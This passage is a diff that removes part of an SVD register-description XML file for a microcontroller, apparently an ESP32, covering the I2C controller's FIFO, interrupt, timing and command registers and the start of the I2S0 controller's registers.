-              <bitOffset>15</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FIFO_CONF</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0155408B</resetValue>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_THRHD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_THRHD</name>
-              <description>Config txfifo empty threhd value when using apb fifo access</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>NONFIFO_EN</name>
-              <description>Set this bit to enble apb nonfifo access.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FIFO_ADDR_CFG_EN</name>
-              <description>When this bit is set to 1 then the byte after address represent the offset address of I2C Slave's ram.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FIFO_RST</name>
-              <description>Set this bit to reset rx fifo when using apb fifo access.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_FIFO_RST</name>
-              <description>Set this bit to reset tx fifo when using apb fifo access.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>NONFIFO_RX_THRES</name>
-              <description>when I2C receives more than nonfifo_rx_thres data  it will produce rx_send_full_int_raw interrupt and update the current offset address of the receiving data.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>NONFIFO_TX_THRES</name>
-              <description>when I2C sends more than nonfifo_tx_thres data  it will produce tx_send_empty_int_raw interrupt and update the current offset address of the sending data.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATA</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FIFO_RDATA</name>
-              <description>The register represent the byte  data read from rxfifo when use apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_RAW</name>
-              <description>The raw interrupt status bit for rxfifo full when use apb fifo access.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_RAW</name>
-              <description>The raw interrupt status bit for txfifo empty when use apb fifo access.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_RAW</name>
-              <description>The raw interrupt status bit for receiving data overflow when use apb fifo access.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>END_DETECT_INT_RAW</name>
-              <description>The raw interrupt status bit for end_detect_int interrupt. when I2C deals with  the END command  it will produce end_detect_int interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLAVE_TRAN_COMP_INT_RAW</name>
-              <description>The raw interrupt status bit for slave_tran_comp_int interrupt. when I2C Slave detectsthe STOP bit  it will produce slave_tran_comp_int interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_RAW</name>
-              <description>The raw interrupt status bit for arbitration_lost_int interrupt.when I2C lost the usage right of I2C BUS it will produce arbitration_lost_int interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MASTER_TRAN_COMP_INT_RAW</name>
-              <description>The raw interrupt status bit for master_tra_comp_int interrupt. when I2C Master sends or receives a byte it will produce master_tran_comp_int interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_RAW</name>
-              <description>The raw interrupt status bit for trans_complete_int interrupt. when I2C Master finished STOP command  it will produce trans_complete_int interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_RAW</name>
-              <description>The raw interrupt status bit for time_out_int interrupt. when I2C takes a lot of time to receive a data  it will produce  time_out_int interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TRANS_START_INT_RAW</name>
-              <description>The raw interrupt status bit for trans_start_int interrupt. when I2C sends the START bit it will produce trans_start_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ACK_ERR_INT_RAW</name>
-              <description>The raw interrupt status bit for ack_err_int interrupt. when I2C receives a wrong ACK bit  it will produce ack_err_int interrupt..</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_REC_FULL_INT_RAW</name>
-              <description>The raw interrupt status bit for rx_rec_full_int interrupt. when I2C receives more data  than nonfifo_rx_thres  it will produce rx_rec_full_int interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_SEND_EMPTY_INT_RAW</name>
-              <description>The raw interrupt status bit for tx_send_empty_int interrupt.when I2C sends more data than nonfifo_tx_thres  it will produce tx_send_empty_int interrupt..</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_CLR</name>
-              <description>Set this bit to clear the rxfifo_full_int interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_CLR</name>
-              <description>Set this bit to clear the txfifo_empty_int interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_CLR</name>
-              <description>Set this bit to clear the rxfifo_ovf_int interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>END_DETECT_INT_CLR</name>
-              <description>Set this bit to clear the end_detect_int interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLAVE_TRAN_COMP_INT_CLR</name>
-              <description>Set this bit to clear the slave_tran_comp_int interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_CLR</name>
-              <description>Set this bit to clear the arbitration_lost_int interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>MASTER_TRAN_COMP_INT_CLR</name>
-              <description>Set this bit to clear the master_tran_comp interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_CLR</name>
-              <description>Set this bit to clear the trans_complete_int interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_CLR</name>
-              <description>Set this bit to clear the time_out_int interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TRANS_START_INT_CLR</name>
-              <description>Set this bit to clear the trans_start_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>ACK_ERR_INT_CLR</name>
-              <description>Set this bit to clear the ack_err_int interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RX_REC_FULL_INT_CLR</name>
-              <description>Set this bit to clear the rx_rec_full_int interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_SEND_EMPTY_INT_CLR</name>
-              <description>Set this bit to clear the tx_send_empty_int interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_ENA</name>
-              <description>The enable bit for rxfifo_full_int interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_ENA</name>
-              <description>The enable bit for txfifo_empty_int interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_ENA</name>
-              <description>The enable bit for rxfifo_ovf_int interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>END_DETECT_INT_ENA</name>
-              <description>The enable bit for end_detect_int interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLAVE_TRAN_COMP_INT_ENA</name>
-              <description>The enable bit for slave_tran_comp_int interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_ENA</name>
-              <description>The enable bit for arbitration_lost_int interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASTER_TRAN_COMP_INT_ENA</name>
-              <description>The enable bit for master_tran_comp_int interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_ENA</name>
-              <description>The enable bit for trans_complete_int interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_ENA</name>
-              <description>The enable bit for time_out_int interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_START_INT_ENA</name>
-              <description>The enable bit for trans_start_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ACK_ERR_INT_ENA</name>
-              <description>The enable bit for ack_err_int interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_REC_FULL_INT_ENA</name>
-              <description>The enable bit for rx_rec_full_int interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_SEND_EMPTY_INT_ENA</name>
-              <description>The enable bit for tx_send_empty_int interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_STATUS</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_FULL_INT_ST</name>
-              <description>The masked interrupt status for rxfifo_full_int interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_EMPTY_INT_ST</name>
-              <description>The masked interrupt status for txfifo_empty_int interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_OVF_INT_ST</name>
-              <description>The masked interrupt status for rxfifo_ovf_int interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>END_DETECT_INT_ST</name>
-              <description>The masked interrupt status for end_detect_int interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLAVE_TRAN_COMP_INT_ST</name>
-              <description>The masked interrupt status for slave_tran_comp_int interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ARBITRATION_LOST_INT_ST</name>
-              <description>The masked interrupt status for arbitration_lost_int interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MASTER_TRAN_COMP_INT_ST</name>
-              <description>The masked interrupt status for master_tran_comp_int interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TRANS_COMPLETE_INT_ST</name>
-              <description>The masked interrupt status for trans_complete_int interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_OUT_INT_ST</name>
-              <description>The masked interrupt status for time_out_int interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TRANS_START_INT_ST</name>
-              <description>The masked interrupt status for trans_start_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ACK_ERR_INT_ST</name>
-              <description>The masked interrupt status for ack_err_int interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_REC_FULL_INT_ST</name>
-              <description>The masked interrupt status for rx_rec_full_int interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_SEND_EMPTY_INT_ST</name>
-              <description>The masked interrupt status for tx_send_empty_int interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDA_HOLD</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num I2C used to hold the data after the negedge of SCL.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDA_SAMPLE</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num I2C used to sample data on SDA after the posedge of SCL</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_HIGH_PERIOD</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_HIGH_PERIOD</name>
-              <description>This register is used to configure the clock num during SCL is low level.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_START_HOLD</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num between the negedge of SDA and negedge of SCL for start mark.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_RSTART_SETUP</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num between the posedge of SCL and the negedge of SDA for restart mark.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_STOP_HOLD</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num after the STOP bit's posedge.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_STOP_SETUP</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME</name>
-              <description>This register is used to configure the clock num between the posedge of SCL and the posedge of SDA.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCL_FILTER_CFG</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>SCL_FILTER_THRES</name>
-              <description>When input SCL's pulse width is smaller than this register value  I2C ignores this pulse.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCL_FILTER_EN</name>
-              <description>This is the filter enable bit for SCL.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDA_FILTER_CFG</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000008</resetValue>
-          <fields>
-            <field>
-              <name>SDA_FILTER_THRES</name>
-              <description>When input SCL's pulse width is smaller than this register value  I2C ignores this pulse.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDA_FILTER_EN</name>
-              <description>This is the filter enable bit for SDA.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>16</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-15</dimIndex>
-          <name>COMD%s</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>COMMAND</name>
-              <description>This is the content of command0. It consists of three part. op_code is the command  0: RSTART   1: WRITE  2: READ  3: STOP . 4:END.  Byte_num represent the number of data need to be send or data need to be received. ack_check_en  ack_exp and ack value are used to control  the ack bit.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>COMMAND_DONE</name>
-              <description>When command0 is done in I2C Master mode  this bit changes to high level.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16042000</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FIFO_START_ADDR</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="I2C0">
-      <name>I2C1</name>
-      <description>I2C (Inter-Integrated Circuit) Controller</description>
-      <baseAddress>0x3FF67000</baseAddress>
-      <interrupt>
-        <name>I2C_EXT1</name>
-        <value>50</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>I2S0</name>
-      <description>I2S (Inter-IC Sound) Controller</description>
-      <groupName>I2S</groupName>
-      <baseAddress>0x3FF4F000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xB4</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>I2S0</name>
-        <value>32</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>CONF</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00030300</resetValue>
-          <fields>
-            <field>
-              <name>TX_RESET</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_RESET</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_FIFO_RESET</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FIFO_RESET</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_START</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_START</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_SLAVE_MOD</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_SLAVE_MOD</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_RIGHT_FIRST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_RIGHT_FIRST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_MSB_SHIFT</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_MSB_SHIFT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_SHORT_SYNC</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_SHORT_SYNC</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_MONO</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_MONO</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_MSB_RIGHT</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_MSB_RIGHT</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SIG_LOOPBACK</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_TAKE_DATA_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_PUT_DATA_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_WFULL_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_REMPTY_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_WFULL_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_REMPTY_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_TAKE_DATA_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_PUT_DATA_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_WFULL_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_REMPTY_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_WFULL_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_REMPTY_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
